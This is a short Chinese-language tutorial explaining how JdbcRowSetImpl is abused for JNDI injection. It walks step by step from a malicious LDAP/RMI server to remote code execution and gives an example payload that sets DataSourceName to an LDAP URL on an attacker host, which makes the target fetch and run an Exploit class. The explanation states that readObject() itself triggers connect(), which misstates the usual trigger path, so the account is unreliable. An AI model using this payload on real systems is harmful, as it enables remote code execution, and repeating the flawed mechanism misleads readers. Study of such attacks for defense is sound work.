### JdbcRowSetImpl 如何触发的 JNDI 注入 **1. 核心原理:`setDataSourceName()` 与 JNDI** `com.sun.rowset.JdbcRowSetImpl` 是一个 JDK 自带的类,它实现了 `RowSet` 接口。`JdbcRowSetImpl` 的一个核心功能就是通过 **`DataSource`** 来连接数据库 - **`DataSource`**:`DataSource` 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定 - **`setDataSourceName()`**:当调用 `JdbcRowSetImpl` 的 `setDataSourceName()` 方法时,它会设置一个 JNDI 查找名称 - **`connect()`**:当 `JdbcRowSetImpl` 尝试建立连接时,会调用 `connect()` 方法,这个方法会使用 `InitialContext` 类,对 `setDataSourceName()` 设置的名称进行 JNDI 查找 **问题的关键在于**:当 `InitialContext` 查找的 URL 指向一个**远程的 RMI/LDAP 服务器**时,它会**自动下载并加载**服务器上绑定的 Java 对象 **2. 漏洞触发的完整过程** 攻击者就是利用这一点,将恶意服务器的地址作为 `DataSourceName`,让目标服务器在反序列化时,主动去下载和执行恶意代码 1. **攻击者搭建恶意服务**: - 攻击者首先需要搭建一个恶意的 **LDAP 或 RMI 服务器** - 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个**`Exploit.java`**文件,它包含了一个 `static` 静态代码块,可以在被加载时自动执行,例如执行 `Runtime.exec()` 命令 2. **构造恶意 Payload**: - 攻击者构造一个恶意的序列化 `JdbcRowSetImpl` 对象 - 在这个对象中,攻击者会利用反射等方法,将 `DataSourceName` 属性设置为恶意服务的地址 - 例如:`new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")` - **注意**:这里的 `ldap://` 是 JNDI 查找的协议,`<攻击机IP>` 是攻击者服务器的地址,`Exploit` 是攻击者在服务器上绑定的恶意对象名 3. **发送 Payload**: - 攻击者将这个序列化后的 `JdbcRowSetImpl` 对象发送给存在反序列化漏洞的目标应用程序 - 这个过程可以是通过 HTTP 请求、文件上传或其他方式 4. **目标服务器反序列化**: - 目标应用程序接收到数据后,对 `JdbcRowSetImpl` 对象进行反序列化 - 在反序列化过程中,`JdbcRowSetImpl` 的 `readObject()` 方法被调用 - `readObject()` 方法会触发 `connect()` 方法的调用 5. **触发 JNDI 注入**: - `connect()` 方法会使用 `InitialContext` 对恶意地址 `ldap://<攻击机IP>:<端口>/Exploit` 进行 JNDI 查找 - 由于 `java.naming.factory.initial` 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果 - JVM 会连接到攻击者的 LDAP 服务器,下载并加载 `Exploit` 这个恶意对象 - 当 `Exploit` 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令